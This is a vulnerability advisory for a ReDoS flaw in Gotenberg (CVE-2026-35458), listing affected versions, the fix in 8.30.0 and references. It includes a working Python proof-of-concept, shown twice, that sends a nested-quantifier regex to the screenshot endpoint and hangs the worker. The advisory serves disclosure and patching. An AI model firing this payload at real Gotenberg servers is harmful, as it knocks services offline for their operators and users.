GHSA-FMWG-QCQH-M992
Vulnerability from github – Published: 2026-04-07 18:16 – Updated: 2026-04-07 18:16Summary
Gotenberg uses dlclark/regexp2 to compile user-supplied scope patterns without setting a proper timeout. Users with access to features using this logic can hang workers indefinitely.
Details
Gotenberg uses dlclark/regexp2 to compile user-supplied scope patterns (gotenberg/pkg/modules/chromium/routes.go:200) with no MatchTimeout set, therefore using the default of math.MaxInt64 = "forever".
For example, any user with access to the endpoint /forms/chromium/screenshot/url can add a crafted scope pattern to the extraHttpHeaders form field using a nested quantifiers that causes infinite backtracking, hanging the Gotenberg worker indefinitely.
See the dlclark/regexp2 README.md for further considerations.
Tested on the latest container version gotenberg/gotenberg:8.29.1
PoC
The following Python script uses the /forms/chromium/screenshot/url endpoint, testing for differences in responses times between simple and malicious regexes.
#!/usr/bin/env -S uv run --script
# /// script
# requires-python = ">=3.12"
# dependencies = [
# "requests",
# ]
# ///
import json
import time
import requests
HOST = "localhost:3000"
# HOST = "gotenberg.local:3000"
def send_request(host: str, headers_dict: dict, label: str, timeout: int = 30):
"""Send a screenshot request to Gotenberg and measure response time."""
url = f"http://{host}/forms/chromium/screenshot/url"
print(f"\n[*] {label}")
print(f" extraHttpHeaders: {json.dumps(headers_dict)}")
start = time.time()
try:
r = requests.post(
url,
data={
"url": "http://api.service:3000/snapshot/",
"extraHttpHeaders": json.dumps(headers_dict),
},
files={"a": "b"},
timeout=timeout,
)
elapsed = time.time() - start
print(f" Status: {r.status_code}, Size: {len(r.content)}, Time: {elapsed:.2f}s")
except requests.exceptions.Timeout:
elapsed = time.time() - start
print(f" TIMEOUT after {elapsed:.2f}s — Gotenberg worker is hung (ReDoS confirmed)")
except requests.exceptions.ConnectionError as e:
elapsed = time.time() - start
print(f" CONNECTION ERROR after {elapsed:.2f}s: {e}")
def main():
# --- Test 1: Baseline ---
send_request(HOST, {"X-Test": "baseline"}, "Baseline: no scope")
# --- Test 2: Simple scope ---
send_request(HOST, {"X-Test": "value; scope=.*"}, "Simple scope: '.*'")
# --- Test 3: ReDoS scope ---
# Classic evil pattern: nested quantifiers on overlapping character class.
evil_pattern = r"([a-zA-Z0-9.:/_]+)+\!"
send_request(
HOST,
{"X-Test": f"value; scope={evil_pattern}"},
f"ReDoS scope: '{evil_pattern}'",
timeout=15,
)
if __name__ == "__main__":
main()
Impact
This is a ReDoS vulnerability which only impacts the availability of the service and/or server on which gotenberg is running. All instances where attackers can reach the /forms/chromium/screenshot/url endpoint specifing the extraHttpHeaders field are affected.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 8.29.1"
},
"package": {
"ecosystem": "Go",
"name": "github.com/gotenberg/gotenberg/v8"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "8.30.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-35458"
],
"database_specific": {
"cwe_ids": [
"CWE-1333"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-07T18:16:19Z",
"nvd_published_at": "2026-04-07T15:17:43Z",
"severity": "HIGH"
},
"details": "### Summary\nGotenberg uses `dlclark/regexp2` to compile user-supplied scope patterns without setting a proper timeout. Users with access to features using this logic can hang workers indefinitely. \n\n### Details\nGotenberg uses `dlclark/regexp2` to compile user-supplied scope patterns (gotenberg/pkg/modules/chromium/routes.go:200) with no MatchTimeout set, therefore using the default of math.MaxInt64 = \"forever\".\n\nFor example, any user with access to the endpoint `/forms/chromium/screenshot/url` can add a crafted scope pattern to the `extraHttpHeaders` form field using a nested quantifiers that causes infinite backtracking, hanging the Gotenberg worker indefinitely.\n\nSee the [dlclark/regexp2 README.md](https://github.com/dlclark/regexp2?tab=readme-ov-file#catastrophic-backtracking-and-timeouts) for further considerations.\n\nTested on the latest container version gotenberg/gotenberg:8.29.1\n\n### PoC\n\nThe following Python script uses the `/forms/chromium/screenshot/url` endpoint, testing for differences in responses times between simple and malicious regexes.\n\n```python\n#!/usr/bin/env -S uv run --script\n# /// script\n# requires-python = \"\u003e=3.12\"\n# dependencies = [\n# \"requests\",\n# ]\n# ///\nimport json\nimport time\nimport requests\n\nHOST = \"localhost:3000\"\n# HOST = \"gotenberg.local:3000\"\n\ndef send_request(host: str, headers_dict: dict, label: str, timeout: int = 30):\n \"\"\"Send a screenshot request to Gotenberg and measure response time.\"\"\"\n url = f\"http://{host}/forms/chromium/screenshot/url\"\n print(f\"\\n[*] {label}\")\n print(f\" extraHttpHeaders: {json.dumps(headers_dict)}\")\n\n start = time.time()\n try:\n r = requests.post(\n url,\n data={\n \"url\": \"http://api.service:3000/snapshot/\",\n \"extraHttpHeaders\": json.dumps(headers_dict),\n },\n files={\"a\": \"b\"},\n timeout=timeout,\n )\n elapsed = time.time() - start\n print(f\" Status: {r.status_code}, Size: {len(r.content)}, Time: {elapsed:.2f}s\")\n except requests.exceptions.Timeout:\n elapsed = time.time() - start\n print(f\" TIMEOUT after {elapsed:.2f}s \u2014 Gotenberg worker is hung (ReDoS confirmed)\")\n except requests.exceptions.ConnectionError as e:\n elapsed = time.time() - start\n print(f\" CONNECTION ERROR after {elapsed:.2f}s: {e}\")\n\n\ndef main():\n # --- Test 1: Baseline ---\n send_request(HOST, {\"X-Test\": \"baseline\"}, \"Baseline: no scope\")\n\n # --- Test 2: Simple scope ---\n send_request(HOST, {\"X-Test\": \"value; scope=.*\"}, \"Simple scope: \u0027.*\u0027\")\n\n # --- Test 3: ReDoS scope ---\n # Classic evil pattern: nested quantifiers on overlapping character class.\n evil_pattern = r\"([a-zA-Z0-9.:/_]+)+\\!\"\n send_request(\n HOST,\n {\"X-Test\": f\"value; scope={evil_pattern}\"},\n f\"ReDoS scope: \u0027{evil_pattern}\u0027\",\n timeout=15,\n )\n\n\nif __name__ == \"__main__\":\n main()\n```\n\n### Impact\n\nThis is a ReDoS vulnerability which only impacts the availability of the service and/or server on which gotenberg is running. All instances where attackers can reach the `/forms/chromium/screenshot/url` endpoint specifing the `extraHttpHeaders` field are affected.",
"id": "GHSA-fmwg-qcqh-m992",
"modified": "2026-04-07T18:16:19Z",
"published": "2026-04-07T18:16:19Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/gotenberg/gotenberg/security/advisories/GHSA-fmwg-qcqh-m992"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35458"
},
{
"type": "WEB",
"url": "https://github.com/gotenberg/gotenberg/commit/cfb48d9af48cb236244eabe5c67fe1d30fb3fe25"
},
{
"type": "PACKAGE",
"url": "https://github.com/gotenberg/gotenberg"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Gotenberg Vulnerable to ReDoS via extraHttpHeaders scope feature"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.